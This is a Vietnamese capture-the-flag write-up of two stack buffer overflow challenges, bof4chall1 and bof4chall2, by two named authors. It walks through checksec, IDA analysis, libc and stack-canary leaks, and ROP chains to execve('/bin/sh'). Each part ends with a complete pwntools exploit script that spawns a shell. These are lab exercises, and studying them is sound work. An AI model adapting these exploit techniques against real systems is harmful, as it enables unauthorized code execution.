# (writeup) chall giải trí 👨💻
## bof4chall1
``author @Johnathan Huu Tri``
- check file + checksec

- check ida

- nhìn sơ qua ida ta thấy sẽ có 3 option 1 -> 3
- ở option 1 sẽ có BOF ngay lần nhập URL
> song(buf) khai báo 8*6 = 48, nhập 36 -> k có BOF
> URL(v6) khai báo 8*10 = 80, nhập 160 -> có BOF
- option 2 sẽ in ra %s (chuỗi)
- option 3 sẽ thoát chương trình
- bài này k chèn shellcode được, cũng như k có hàm get_shell, v ta ROPchain thôi
- ở lần nhập URL ta có thể leak dc libc

>offset = 88
- nhưng khi payload mình leak dc ròi thì lại k thấy dữ liệu nào ra
- chọn option 3 thì end chương trình nhưng đồng thời có xuất hiện vài byte kì lạ
- vậy lần nhập thứ 2 ta leak libc và thực thi lại hàm main, chọn option 3 để quay lại từ đầu
- lí do leak libc là các thanh ghi dùng để thực hiện ROPchain hơi khoai (nhất là thanh ghi rax)
- rồi lần nhập tiếp theo cũng từ URL mà chèn ROP mình vào thôi
- chèn xong option 3 để ``ret`` vào ROP

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./bof4chall1_patched',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
p = process(exe.path)
# gdb.attach(p, gdbscript='''
# b*main+388
# b*main+293
# b*main+394
# c
# ''')
pop_rdi_exe = 0x0000000000401463
p.sendlineafter(b'> ', b'1')
payload = b'A'
p.sendafter(b'song: ',payload)
#input()
payload = b'A'*88
payload += p64(pop_rdi_exe) + p64(exe.got['puts'])
payload += p64(exe.plt['puts'])
payload += p64(exe.sym['main'])
p.sendafter(b'URL: ',payload)
p.sendlineafter(b'> ',b'3')
libc_leak = u64(p.recv(6) + b'\0\0')
log.info("libc leak: " + hex(libc_leak))
libc.address = libc_leak - libc.sym['puts']
log.info("libc base: " + hex(libc.address))
#input()
p.sendlineafter(b'> ', b'1')
payload = b'A'
p.sendafter(b'song: ',payload)
pop_rdi = pop_rdi_exe
pop_rsi = 0x00000000004011d6
pop_rdx = 0x00000000004011d8
pop_rax = libc.address + 0x0000000000045eb0
syscall = 0x00000000004011dd
payload = b'A'*88
payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh')))
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(pop_rax) + p64(0x3b)
payload += p64(syscall)
p.sendafter(b'URL: ',payload)
p.sendlineafter(b'> ',b'3')
p.interactive()
```
___
## bof4chall2
`` author @Chino Kafuu``
- check file + checksec

- check ida

- hàm ``main`` có mỗi func ``vuln``
- trong ``vuln`` ta có 3 lần nhập
- hướng đi cũng ROPchain nhưng lần này có đầy đủ thanh ghi
- vì có canary nên ta sẽ leak canary ra

- biến **buf** là [rbp-39h] nên sẽ đi từ 1 byte ngay chỗ tô trắng đến làm lố 1 byte canary là 1 + 48 + 1 = 50
- đề sẽ ``puts(s)`` tức là in ra từ sau con **buf** nên ta bỏ đi 1 byte của buf còn p.recvuntil(b'A'*49)
- ngoài ra ngay $rbp có luôn stack

- vì ở lần nhập thứ 2 ta cần đến nó nên leak stack luôn
- lần nhập thứ 2

- ở đây ta thấy sau @rsi lại là 1 canary rất đáng ngờ, sau khi kiểm tra hàm ``vuln`` thì thấy

- ``stack_chk_fail`` tận 2 lần, đinh ninh là nó sẽ check canary 2 chỗ (1 cái là sau $rsi và 1 cái là trước $rbp)
- ngoài ra do leak libc hơi khó nên là sẽ truyền tham số chuỗi '/bin/sh\0'
- ta truyền ngay sau cái canary thứ 1
- và 8 byte đầu sẽ truyền stack trỏ đến chuỗi '/bin/sh\0' đó
> p/d 0x007fffffffdd70 - 0x007fffffffdd40
> 48
- vậy thứ tự payload ta là
```
stack trỏ /bin/sh\0
canary
padding 16
canary
padding 8 saved rbp
ROP ( với pop_rdi là stack trỏ đến /bin/sh\0)
```
- lần nhập thứ 3 thì ta k cần thiết nhiều, truyền cho có thôi
> payload = b'A'
- thì kiểm tra đến ROP của mình, thấy sau khi ``pop rdi`` đến ``ret`` thì dữ liệu vào lúc ấy là 'Abin/sh'
- tức là lần nhập thứ 3 dữ liệu mình truyền 'A' lại bị ghi đè lên /bin/sh\0
- z ta chỉ cần ghi đè 1 lần nữa '/bin/sh\0' thôi =))))

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./bof4chall2',checksec=False)
p = process(exe.path)
# gdb.attach(p, gdbscript='''
# b*vuln+55
# b*vuln+60
# b*vuln+123
# b*vuln+157
# b*vuln+178
# b*vuln+198
# b*main+34
# c
# ''')
# input()
pop_rdi = 0x00000000004013b3
pop_rsi_r15 = 0x00000000004013b1
pop_rdx = 0x00000000004011f6
pop_rax = 0x00000000004011fa
syscall = 0x00000000004011f8
payload = b'A'*50
p.sendafter(b'name ?\n',payload)
p.recvuntil(b'A'*49)
canary_leak = u64(b'\0' + p.recv(7))
log.info("canary leak: " + hex(canary_leak))
stack_leak = u64(p.recvline()[:-1] + b'\0\0')
log.info("stack leak: " + hex(stack_leak))
cana1 = stack_leak - 48
payload = p64(cana1)
payload += p64(canary_leak)
payload += b'/bin/sh\0'
payload += b'A'*16
payload += p64(canary_leak)
payload += b'A'*8
payload += p64(pop_rdi) + p64(cana1)
payload += p64(pop_rsi_r15) + p64(0) + p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(pop_rax) + p64(0x3b)
payload += p64(syscall)
p.sendafter(b'rop ?\n',payload)
payload = b'/bin/sh\0'
p.sendafter(b'enabled?\n',payload)
p.interactive()
```